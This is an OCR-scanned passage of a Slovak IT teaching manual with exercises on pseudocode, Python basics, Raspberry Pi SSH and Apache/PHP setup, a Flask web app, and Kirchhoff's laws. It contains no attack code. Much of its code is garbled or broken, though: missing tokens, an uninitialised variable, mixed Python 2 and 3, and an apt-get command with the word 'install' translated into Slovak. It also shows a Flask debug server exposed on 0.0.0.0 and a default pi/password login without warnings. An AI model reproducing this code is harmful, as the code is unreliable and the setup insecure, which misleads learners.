Uloha 5: Napiste pseudokdd, ktory nacita ako vstup od pouZivatela lubovolné &islo a vypide vietky parne
Cisla aZ k uzivatefom definovanému cislu.

RieSenie:

Read count
Set x to 0;
While(x < count)
Set even to even + 2
X=x+1
write even
Uloha 6: Napiste pseudokdd, ktory bude vykonavat nasledujice:

1) Nacita 5 samostatnych Cisel od pouZivatela.

2) Vypocita priemer z piatich Cisel.

3) N3ajde najmensiu (minimalnu) a najvacsiu (maximalnu) hodnotu z piatich zadanych Cisel.

4) Napiste vysledky z krokov b) a c) aj so spravou, ktora popisuje o sa zobrazuje a konkrétny
vysledok vypoctov.

RieSenie:

Write "please enter 5 numbers"
Read n1,n2,n3,n4,n5

Write "The average is"
Set avg to (n1+n2+n3+n4+n5)/5
Write avg

If(n1 < n2)
Set max to n2
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Else
Set max to nl

If(n3 > max)
Set max to n3

If(n4 > max)
Set max to n4

If(n5 > max)
Set max to n5

Write "The max is'
Write max

If(n1 > n2)

Set min to n2
Else

Set min tonl

If(n3 < min)
Set min to n3

If(n4 < min)
Set min to n4

If(n5 < min)
Set min to n5
Write "The min is"
Write min
Uloha 7: Napiste pseudokdd, ktory nacita do troch premennych ¢&isla a zapise ich vietky v triedenom
poradi (napriklad vzostupne).

RieSenie:

Read num1, num2, num3
If (numl < num?2)
If(num2 < num3)
Write num1, num2, num3
Else
If(num3 < num1)
Write num3, numl, num2
Else
Write num1, num3, num2
else
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If(num1 < num3)
Write num2, numl, num3
Else
If(num3 < num2)
Write num3, num2, numl
Else
Write num2, num3, numl
Uloha 8: Napiste pseudokdd, ktory vypoéita sicet. PouZivatel zadd &isla, ktoré sa pridaju do
premennych. Ked sa na vstupe vyskytne zaporné Cislo, zastavte pridavanie Cisel a vypiste konecny
vysledok.

RieSenie:

Read x
Set sum to 0;
While(x >= 0)
Set sum to x + sum
Read x

Otazky a ulohy na zamyslenie

1) Aké su vyhody pseudokddu z pohfadu vyvoja softvéru?
2) Aky vplyv maju chybne alebo neuplne definované poZiadavky a blokové diagramy na kvalitu
a narocnost navrhu pseudokodu?

Odporucané zdroje

[1] Podkapitola 3.3

[2] Pseudocode - https://en.wikipedia.org/wiki/Pseudocode

[3] Pseudo code Tutorial and Exercises — Teacher’s Version

http://www.cosc.canterbury.ac.nz/tim.bell/dt/Tutorial Pseudocode.pdf
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CVICENIE SO7-CV1: Python — vstupy/vystupy

Kfdéové slova

pouzivatelsky vstup, vypis na obrazovku
Vystup cvicenia

Vytvorit skript v jazyku Python, ktory nadita vstupy od pouzivatela. Po jednoduchom spracovani
vstupnych udajov vypiSe vysledok na obrazovku.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B vytvorit skript pre nacitanie pouzivatelskych vstupov,
B vytvorit skript pre vypis informdcii na obrazovku.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B Python 3,
B textovy editor (alebo iné IDE).

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom,
B znalost prace s prikazovym riadkom

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept vstupov a vystupov aplikacii.

3) Studentom vysvetlite zakladny koncept zachytdvanie vstupov a odosielania vystupov aplikacii na
obrazovku.

4) V spolupréci so studentmi prepocitajte nizsie uvedené cvicenia.
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Teoreticky Uvod

= POZNAMKA!

Podrobnosti o vstupoch a vystupoch ndjdete v kapitole 3.6., pripadne na odkazoch, ktoré su
uvedené na konci tohto cvicenia.

Realizacia cvicenia
Uloha 1

Vytvorte skript, ktory nacita meno pouZivatela, pozdravi ho. Nasledne ho poZiada o zadanie veku, podla
ktorého vypocita rok narodenia a vypiSe tuto informaciu na obrazovku.

print ("Ahoj!")
name = input("Zadaj tvoje meno: ")

print("Vitaj " + name)

age input ("Zadaj tvoj vek: ")

age int (age)

BirthYear = (2018-age)

print (name + " Narodil si sa v roku:", + BirthYear)

Uloha 2

Vytvorte skript, ktory nacita obsah pouzivatelského suboru s textom a ndasledne ho vypiSe na obrazovku.

Vytvorte stbor s textom:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean et est a dui semper facilisis.
Pellentesque placerat elit a nunc. Nullam tortor odio, rutrum quis, egestas ut, posuere sed, felis.
Vestibulum placerat feugiat nisl. Suspendisse lacinia, odio non feugiat vestibulum, sem erat
blandit metus, ac nonummy magna odio pharetra felis. Vivamus vehicula velit non metus
faucibus auctor. Nam sed augue. Donec orci. Cras eget diam et dolor dapibus sollicitudin. In
lacinia, tellus vitae laoreet ultrices, lectus ligula dictum dui, eget condimentum velit dui vitae ante.
Nulla nonummy augue nec pede. Pellentesque ut nulla. Donec at libero. Pellentesque at nisl ac
nisi fermentum viverra. Praesent odio. Phasellus tincidunt diam ut ipsum. Donec eget est.

Zdrojovy kod:
def file read(fname):
txt = open (fname)

print (txt.read())

272



file read('loremipsum.txt')

Otazky a ulohy na zamyslenie

1) Aké typy pouzivatelskych vstupov je mozné nacitat?
2) Kam moze byt odoslany vystup z aplikacie?

Odporucané zdroje

[1] Vstup/vystup - https://en.wikipedia.org/wiki/Input/output

[2] Python Input and Output - https://docs.python.org/3/tutorial/inputoutput.html
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CVICENIE S08-CV1: Python — cyklus

Kfdcové slova

cyklus FOR, WHILE, rekurzia

Vystup cvicenia

Vytvorit skript v jazyku Python, ktory nadita vstupya dalej ich cyklicky spracovava.
Ziskané vedomosti a skdsenosti

Absolvovanim cvic¢enia sa naudite:

B vytvorit skript pre nacitanie pouzivatelskych vstupov,
B vytvorit skript pre vypis informdcii na obrazovku,
B opakované spracovanie premennych.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

B Python 3,
B textovy editor (alebo iné IDE),

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom,
B zaklady prace s jazykom Python,
B znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) objasnit studentom, aky koncept sa bude pocas cvi¢enia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi,

2) studentom vysvetlite zakladny koncept tvorby a poZitia programatorskych cyklov,

3) Studenti budd pracovat samostatne a vytvarat prvé skripty. PoZiadajte Studentov o samostnatné
vyrieSenie nizSie uvedenych cviceni.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

= POZNAMKA!
iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o cykloch v jazyku Python ndjdete v kapitole 3.6, pripadne na odkazoch, ktoré su
uvedené na konci tohto cvicenia.

SpEEEEEEEEEEER

Realizacia cvicenia
Uloha 1
Napiste program Python, ktory nacita retazec a vypocitajte pocet Cislic a pismen.
MozZné rieSenie:
vstup = input("Zadaj rezazec, prosim:")
cislo=pismeno=0
for znak in vstup:
if znak.isdigit():
cislo=cislo+l
elif znak.isalpha():
pismeno=pismeno+l
else:
pass
print ("Pocet pismen:", pismeno)

print ("Pocet cislic:", cislo)
Uloha 2

Napiste program, ktory generuje nahodné cislo (0-20) a poZiadajte pouzivatela o uhadnutie spravneho
Cisla. Sutaziaci ma tri pokusy. V aplikacii vytvorte nasledujicu funkcionalitu:

B definujte ndhodné cislo medzi 0-10,

B inicializujte pocet zostdvajucich pokusov na hodnotu 3,

B pouzite WHILE cyklus, aby pouZivatel mohol opakovane hadat, pokial je pocet zostavajlcich
pokusov vacsi ako nula,

B pozZiadajte pouZivatela o novy odhad, ak neuhadol a zmensite pocet zostavajucich pokusov o
jeden,

B ak spravne uhadne, vypiste na obrazovku 'Vyhravate!'

Mozné rieSenie:

from random import randint
# generovanie nadhonych ¢&isel
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random number randint (1, 20)
pocet_pokusov = 3
while pocet_pokusov>0:
tip_cislo=int(raw_input("Zadajte Vas tip:"))
if tip_cislo==random number:
print "Uhadli ste! Vyhravate."

break
pocet_pokusov-=1
else:
print "Neuhadli ste. "
Uloha3

Cvi¢enie zamerané na tvorbu programového kédu, ktory nacita ciselné vstupy, vypocita faktorial
zadaného Cisla a vysledok vypiSe na obrazovku. Faktoriadl oznacuje sucin vsetkych kladnych celych cisel
mensich alebo rovnych n. Zapisuje sa n! a ¢ita sa ,,n faktorial“. Napriklad:

5/=1.2.3.4.5=120
MoZné rieSenie:
def fact(x):
if x ==
return 1

return x * fact(x - 1)

x=int (raw_input())

print fact (x)
Otazky a ulohy na zamyslenie

1) Aké typy pouzivatelskych vstupov je mozné nacitat?
2) Kam moze byt odoslany vystup z aplikacie?

Odporucané zdroje

[1] Recursion - https://en.wikipedia.org/wiki/Recursion
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CVICENIE S09-CV1: Python — funkcie

Kfdéové slova

pouzivatelsky vstup, funkcie
Vystup cvicenia

Vytvorit skript v jazyku Python, ktory nadita vstupy od pouzivatela. Po jednoduchom spracovani
vstupnych udajov vypiSe vysledok na obrazovku.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B vytvorit skript vyuZivajuci funkcie,
B spoznate principy softvérového inZinierstva o znovu-pouzitelhosti kddu.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B Python 3,
B textovy editor (alebo iné IDE).

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zakladné operacie v jazyku Python 3.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite princip navrhu a tvorby funkcii.

3) Vysvetlite zakladny koncept predavania vstupov a odosielania vystupov z funkcii.

4) V spolupréci so studentmi vyrieste niekolko prvych cviceni.

5) Dal3ie cvi¢enia budu $tudenti riesit samostatne.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

= POZNAMKA!
iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o funkcidch néjdete v kapitole 3.6., alebo pod odkazmi uvedenymi na konci tohto
cvic¢enia.

SpEEEEEEEEEEER

Realizacia cvicenia
Uloha 1:

Napiste program vypinania, ktory bude implementovany ako funkcia. Pre Uspesné vypnutie je potrebné
spustit prikaz so spravnym parametrom. Parameter predstavuje potvrdenie s kii¢ovymi slovami yes/no.
Nasledne sa spusti poZzadovana cast kddu. V pripade chybne zadaného parametra bude pouzivatel
informovany o nespravnej volbe.

Mozné riesenie:
>>> def shut_down(s):
print ("Shutdown the system?")
if s=="yes":
return "Shutting down..."
elif s=="no":
return "Shutdown aborted"
else:

return "Sorry"

>>> s="no"
>>> shut_down (s)
'Shutdown aborted'’

>>>

Uloha 2:

Napiste program, ktory vypocita mesacnu mzdu vyplatenu na ucet, podla poctu odpracovanych hodin,
hodinovej sadzby a zadanej percentualnej Urovne zdanenia. V Uvode aplikacia si vyZiada jednotlivé
parametre, ktoré budu vstupom do funkcie pre vypocet mzdy.

Mozné rieSenie:
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>>> def computepay (hours,rate, tax):
if hours < 40:
pay=hours*rate
pay=pay* (1-tax)
print "the pay is:", pay
else:
pay = 40 * rate + (hours-40)*1.5*rate
pay=pay* (1-tax)

print "the pay is:", pay

>>>

>>> hours=raw_input ("Enter worked hours:")
Enter worked hours:45

>>> hours=float (hours)

>>> rate=10

>>> tax=0.2

>>> computepay (hours,rate, tax)

the pay is: 380.0

>>>

Otazky a ulohy na zamyslenie
1) Akym spbsobom je mozné zdielat funkcie medzi skriptami?
Odporucané zdroje

[1] Python Functions - https://www.w3schools.com/python/python functions.asp

[2] Function definitions - https://docs.python.org/2.0/ref/function.html

279



CVICENIE S10-CV1: Headless pristup k Raspberry PI

Kfucoveé slova
pouzivatelsky vstup, vypis na obrazovku
Vystup cvicenia

Pripojenie k Raspberry Pi pomocou SSH protokolu bez potreby pouZit monitor a klavesnicu pripojenu
priamo k Raspberry Pi.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B nastavit Raspberry Pl pre vzdialené pripojenie,
B zrealizovat vzdialené pripojenie cez zabezpeceny protokol SSH.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

SD pamatovu kartu,

¢itaéku pamatovych kariet,
textovy editor (alebo iné IDE),
PUTTYy klient.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom,
B znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept vzdialeného pripojenia.

3) Studentom vysvetlite rozdiel medzi zabezpedenym a nezabezpedenym vzdialenym pripojenim.

4) V spolupréci so studentmi prepocitajte nizsie uvedené cvicenia.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

= POZNAMKA!

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o vzdialenom pripojeni najdete v kapitole 3.2., alternativne pod odkazmi na konci
= tohto cviéenia.

SpEEEEEEEEEEER

Realizacia cvicenia

Uloha

Nakonfigurujte linuxovy operacny systémom tak, aby bolo mozné vzdialené pripojenie cez protokol SSH.

Postup:

Po instaldcii operacného systému si pripojte SD kartu k laptopu.

Nacitajte obsah SD karty cez externu aplikaciu (napriklad open-source ndastroj Ext2Fsd. Externa
aplikacia je potrebnd, kvdli inému stiborovému systému (napriklad ext2/ext3), ktory Windows
$tandardne nevie Citat.)

3. Povolenie SSH s pomocou konfiguracného suboru.
4. Nastavenie sietovych parametrov pre pripojenie do WiFi siete.
5. Spustenie systému.
6. Pripojenie sa k Raspberry Pi prostrednictvom SSH protokolu.
Realizacia:
1. Nainstalujte si nastroj Ext2Fsd z odkazu: https://sourceforge.net/projects/ext2fsd/files/
2. Pripojte SD kartu k pocitacu a do korenového adresara vytvorte prazdny subor ssh (bez pripony).
3. Vo Windows nastaveniach sietovej karty si nastavte statickd IP adresu:
address 192.168.1.20
netmask 255.255.255.0
gateway 192.168.1.254
4. Cez aplikaciu Ext2Fsd chodte do adresara.
5. Vkonfiguracnom subore: /etc/network/interfaces nastavte parametre:
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iface eth0O inet static
address 192.168.1.20
netmask 255.255.255.0
gateway 192.168.1.254

broadcast 255.255.255.255

6. Subor uloZte a bezpecne odpojte SD kartu.

—

e« Open Devices and Printers

- Eject Mass Storage Device
- Ubuntu-Server 16.04.3 LTS amd64 (F:)

7. Pripojte kartu k Raspberry Pi.

8. Pripojte Raspberry Pi s pomocou ethernet kabla k pocitacu.

9. Pripojte Raspberry Pi k napdajaniu cez USB port.

10. Otvorte aplikaciu Putty a pripojte sa k nastavenej IP adrese Raspberry Pi.

Basic options for your PuTTY session }

Specify the destination you want to connect to

Host Name (or IP address) Port
192.168.1.6 |22 |
Connection type:

(ORaw (O Telnet (O Rlogin @ SSH (O Serial

Load, save or delete a stored session
Saved Sessions
IRaspbeny Pi ]

12. Po Uspesnom pripojeni zadajte predvolené prihlasovacie udaje:

Login: pi

Heslo: password
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@ pi@raspberrypi: ~ - -

S —— T T T T

Otazky a Ulohy na zamyslenie

1) Ako moziné vykonat vzdialené pripojenie na inom porte nez standardnom SSH — TCP 22?
2) Co je potrebné pre vzdialené pripojenie k Raspberry Pl cez internet?

Odporucané zdroje

[1] Putty - https://www.putty.org/

[2] Remote access - https://en.wikipedia.org/wiki/Remote access
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CVICENIE S11-CV1: Webovy server — Raspberry Pl

Kfdéové slova

Raspberry Pl, webovy server, Apache

Vystup cvicenia

Vytvorit funkény webovy server, ktory bezi na Raspberry PI. Tento server bude dostupny ostatnym
zariadeniam vramci lokalnej siete.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

nainstalovat webovy server,

B vytvorit loT zariadenie, ktoré poskytuje webové sluzby lokalne bez potreby pripojenia do

internetu.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

zariadenie Raspberry Pl s funkénym operacnym systémom,
aplikaciu Apache.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

zaklady préace s opera¢nym systémom Linux,

zaklady pisania webovych stranok,

znalost prace s prikazovym riadkom.

znalost vzdialeného pripojenia a spravy vzdialeného systému Linux.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1)

2)

3)
4)

5)
6)

Objasnit studentom, aky koncept sa bude pocas cvienia preberat, aké je jeho vyuZitie a doleZitost
Vv praxi.

Vysvetlite a ukazte Studentov postup instalacie webového servera Apache na novy operacny
systém.

Vysvetlite zakladny koncept fungovania webového server Apache.

Ukazte potrebné nastavenia webového servera (subor 000-default.conf v /etc/apache2/site-
available/).

Ukaze potrebnu adresarovd Struktaru (adresar /var/www/html).

V spolupraci so Studentmi prepocitajte nizsie uvedené cvicenie.

284



Teoreticky Uvod

Apache patri medzi velmi populdrne webové servery. Je mozné ho pomerne jednoducho nainstalovat aj
na Raspberry Pi, ¢im ziskame prenosny webovy server pripadne loT zariadenie, ktoré dokaze poskytovat
webové sluzby lokalne bez pripojenia do internetu. Po doinstalovani PHP modulu dokaze takyto webovy
server poskytovat dynamické webové stranky.

InStalacia je moZna prostrednictvom balickovacieho systému apt.

Uloha
VyuZzite linuxovy operacny systém nakonfigurovany v predchadzajicom cviceni. Nainstalujte Apache
aplikaciu a potrebné PHP moduly. Vytvorte vlastnu Uvodnu webovu stranku.

Riesenie
Najskor aktualizujte dostupné baliky napisanim nasledujiceho prikazu do terminalu:
sudo apt-get update

Potom nainstalujte baliek apache2 s tymto prikazom:

sudo apt-get nainstalovat apache2 -y

Apache je predvolene umiestneny vo webovom priecinku /var/www/html/, kde ma svoj vlastny
testovaci sibor HTML subor (index.html).

Predvolena webova stranka je dostupna cez webovy prehliadac, kde do adresného riadku je potrebné
zadat IP adresu, ktora bola priradena raspberry Pl. Napriklad: http://192.168.1.20

Ak chcete najst IP adresu Pi, zadajte na prikazovom riadku ifconfig. Po Uspe$Snom pripojeni cez webovy
prehliadac by sa mala zobrazit ivodna testovacia stranka:
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Apache2 Debian Default Page

%_
This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at /var/www
/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Debian tools. The configuration system is fully documented
in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

/etc/apache2/

| -- apache2.conf

| ‘-- ports.conf
| -- mods-enabled

| |-- *.load
| ‘-- *_ conf
|-- conf-enabled

| ‘-- *_conf
|-- sites-enabled
| ‘-- *_ conf

Uprava webovej stranky sa vykondva Upravou zdrojového kédu: /var/www/html/index.html.

Prejdite do tohto adresara v okne terminalu a pozrite sa na to, €o je vo vnutri:
cd / var / www / html

ls -al

Textovy Vystup prikazu je:

drwxr-xr-x 2 root root 4096 Jan 8 01:29

drwxr-xr-x 12 root root 4096 Jan 8 01:28

-rw-r--r-- 1 root root 177 Jan 8 01:29 index.html

Ak chcete upravit subor index.html, musite zmenit jeho vlastnictvo na Vase vlastné pouzivatelské meno.
Zmente majitela stboru (predpoklada sa tu predvoleny pouZivatel pi) pomocou prikazu:

sudo chown pi: index.html

Teraz mdzete skusit upravit tento sibor a potom obnovit prehliadac, aby ste mohli vidiet zmenu
webovej stranky.

Aby Apache server mohol zobrazovat stranky napisané v jazyku PHP, budete musiet nainstalovat
najnovsiu verziu PHP a modul PHP pre Apache. Zadajte nasledujuci prikaz na ich instalaciu:

sudo apt-get nainstalovat php libapache2-mod-php -y
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Teraz odstrante subor index.html:
sudo rm index.html
a vytvorte subor index.php:

sudo leafpad index.php
Poznamka: Leafpad je graficky editor. Pripadne pouzite nano, ak ste obmedzeny na prikazovy riadok.

VloZte nejaky obsah PHP:
<?php
echo "ahoj svet";

?>

Teraz ulozte a obnovte svoj prehliadac. Mali by ste vidiet "ahoj svet". Toto nie je dynamické, ale stale je
PHP. Skuste nie¢o dynamické:

<?php
echo date ("d-m-Y H:i:s");
?>
alebo si vypiste zakladné informacie o PHP:
<?php
phpinfo ();

?>

Otazky a ulohy na zamyslenie

1) Co sa stane v pripade, e webova aplikicia napisand v jazyku PHP nema prdva zapisovat do
suboru?

2) Ako je potrebné nastavit webovy server Apache, aby bolo mozné pre r6zné domény naditavat
obsah z réznych adresarov /var/www/web1 a /var/www/web2?

Odporucané zdroje
[1] Raspberry Pl a Apache —

https://www.raspberrypi.org/documentation/remote-access/web-server/apache.md

[2] PHP Tutorial - https://www.w3schools.com/php/
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CVICENIE S12-CV1: Webova aplikacia v jazyku Python a Flask na Raspberry PI

Kfdéové slova

Python, Flask, Raspberry PI,
Vystup cvicenia

Vytvorit jednoduchud webovu aplikaciu, ktora bude poredstavovat webové rozhranie pre riadici system
loT zariadenia.

Ziskané vedomosti a sklsenosti

Absolvovanim cvicenia sa naudite:

B vytvorit jednoducht webovu aplikaciu napisant v jazyku Python,
B vyuZitim skriptov nacitavat HTML subory, ktoré m6zu obsahovat vypis parametrov snimacov,
B ovladat vzdialené zariadenie s pomocou skriptov.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B Python 3,
B textovy editor (alebo iné IDE),
B LAN infrastrukturu.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom,
B znalosti principov http komunikacie,
B zaklady skriptovania,

B zaklady html,

B znalost prace s prikazovym riadkom

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom. aky koncept sa bude pocas cvitenia preberat, aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania webovych serverov.

3) Studentom vysvetlite zakladny koncept skriptovania a tvorby webovych aplikécii cez Python a
Flask.
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4) Prvé skripty vytvorte spolu so studentmi. Nasledne dalSie skripty a ich rozSirenia budu Studenti
vytvarat samostatne.

Teoreticky Uvod

EPOZNAMKA!
fF EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESR

* Podrobnosti o programovani najdete v kapitole &islo 3. Dalsie doplfiujice informdcie ziskate na
= konci tohto dokumentu v sekcii odpordéané zdroje.

Uloha:
Vytvorte v jazyku Python webovu stranku, ktord bude bezat na Raspberry Pl. Webova stranka bude
dostupna pre iné zariadenia v rovnakej lokalnej sieti, do ktorej je pripojené Raspberry PI.

Riesenie:
Nainstalujte aktualizacie, obnovte repozitare a ich obsah, stiahnite aktualnu verziu frameworku Flask.

sudo apt-get update
sudo apt-get install python3-flask
Vytvorte nasledujicu adresarovu Strukturu zadanim prikazov:
/mojaAplikacia
/static
/templates
Do koreriového adresara mojaAplikacia vytvorte subr app.py s pomocou prikazu:
sudo nano app.py
Na obrazovke sa zobrazi editor s prazdnym siborom. Do tohto suboru zapiste nasledujuci zdrojovy kod:
from flask import Flask
app = Flask(__ _name_ )
@app.route('/")
def index():
return 'Hello world'
if name_ == '_main_ ':

app.run (debug=True, host='0.0.0.0")

289
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= POZNAMKA!
‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

Parameter host = '0.0.0.0' znamen3, Ze webova aplikacia bude pristupna vsetkym zariadeniam
v sieti.

S pEEEEEEEEEEERET

Po vloZeni zdrojového kddu, subor ulozte a vratte sa do terminalu, odkial spustite webovy server. Skript
spustte v prostredi Python cez prikaz:

Python3 app.py

Ak vsetko prebehlo bez problémov na obrazovke by sa mal zobrazit vystup:
* Running on
* Restarting with reloader

V dalSom kroku otvorte webovy prehliadac, kde do adresného riadku zadate adresu : 127.0.0.1:5000. Na
obrazovke by ste mali vidiet textovy vypis, ktory ste definovali v skripte app.py.

— C | O 127.0.0.1 : W
Hello world
Uloha 2

Upravte zdrojovy kéd skriptu tak, aby sa v prehliadaci zobrazila staticka stranka definovana pomocou
html stiboru, ktora bude ulozend na ceste /mojaAplikacia/templates/index.html

RieSenie 2
V adresari /mojaAplikacia/templates/ vytvorte novy stbor index.html s pomocou prikazu
Sudo nano index.html
V siibore definujte fubovolné HTML tagy, napriklad:
<html>
<body>
<hl>Hello from a template!</hl>
</body>
</html>
Po uloZeni zmien v html subore editujte skript app.py na nasledujice parametre:
from flask import Flask, render template

@app.route('/")
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def index():

return render template('index.html')
Nasledne staci znova spustit prikaz:python3 app.py.

Znova nacitajte URL adresu vo svojom webovom prehliadaci (http://127.0.0.1:5000/) a zobrazi sa Vasa
nova Sabléna HTML.

& C | O 127.0.0.1 )% ¢

Hello from a template!

Prezentacia
B Zdielajte so spoluziakmi navzdjom Vase URL adresy. Zhodnotte kvalitu, relevantnost a Groven
vystupu, ktory publikujua Vasi spoluZiaci.
Otazky a ulohy na zamyslenie

1) Akym spbsobom by bolo mozZné editovat styly definovaného stdboru index.html?
2) Akym spdsobom je mozné predavat pouzivatelské parametre skriptom?

Odporucané zdroje

[1] Flask tutorial - https://www.tutorialspoint.com/flask/

[2] Flask Tutorial Step by Step - https://www.udemy.com/python-flask-tutorial-step-by-step/
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CVICENIE S13-CV1: Kirchhoffové zékony

Kfucoveé slova
Kirchhoffov zakon, uzlové prady, napatové slucky
Vystup cvicenia

Overenie platnosti Kirchhofovych zakonov matematicky a empiricky - meranim. Schopnost navrhnut
obvod tak, aby vystupné parametre napéti a pradov v jednotlivych ¢astiach obvodu mali poZadované
hodnoty.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Aplikovat prvy a druhy Kirchhofov zakon.
VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

rezistory 3k3, 4k7, 6k8,
napatovy zdroj 12V,
ampérmeter,
voltmeter,
prepojovacie vodice,
kontaktné pole.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B  Ohmov zakon,
B Napatie, prud, odpor.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania a vypoctu 1. Kirchhoffového zakona.

3) Studentom vysvetlite zakladny koncept fungovania a vypoctu 2. Kirchhoffového zakona.

4) V spolupréci so studentmi prepocitajte nizsie uvedené cvicenia.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

= POZNAMKA!

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Vysvetlenie konceptov a elektrotechnickych pojmov je uvedené v kapitoldch 4.1 —4.2. Dalgie
= doplriujuce informacie ziskate na odkazoch uvedenych na konci cvicenia.

SpEEEEEEEEEEER

Realizacia cvicenia

Uloha 1

Overte platnost 1. Kirchhoffovho zakona, ktory hovori, Ze stcet pradov do uzla vtekajucich a
vytekajucich sa rovnd nule (l1+l+13+...+1n = 0).

Vztah pre Vas uzol ma tvar: I-11-1>-13=0. Znamienko znamena, Ze prud z uzla vytek3,
znamienko "+" znamen3, Ze prud do uzla vteka. Vzorec by sme tiez mohli upravit do tvaru:
I=l1+1+l5.

UzoL

V=

VI /13

12Uv1 l+® H W H Zf? H 6Rl<38

|
|
]
N

|

Schéma zapojenia pre meranie 1.
Vypocet pradov |, Ig, 12,13 :
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6k8

Meranie prudu | na stavebnici.
S¢itanie nameranych pradov, overenie platnosti 1.K.Z. :

Predpoklad: I1+ 2+ I3= |

Vypocet: li+ I+ 13= v,

Porovnanie vypocitanych a nameranych hodn6ét.
Uloha 2

Overte platnost 2. Kirchhoffovho zakona, ktory hovori, Ze sucet napéti v uzavretej slucke je
rovny nule (Ui+Uz+Us+...4+U,=0).

1 Uri Ur2 Urs
g L] |
R 1 R> R3

+ 3k3 4k7 6k8

V| &
12V SL@

Schéma zapojenia pre meranie 2.
Podla 2. Kirchhoffovho zdkona pre Vasu sluéku plati: Uri+Ur2+Urs -U=0. Znamienko "-" vo
vztahu znamen3, Ze dané napatie je orientované proti zvolenému smeru slucky, znamienko "+"
znamena, Ze orientacia napatia je zhodna so smerom slucky. Vztah je mozné upravit do tvaru:
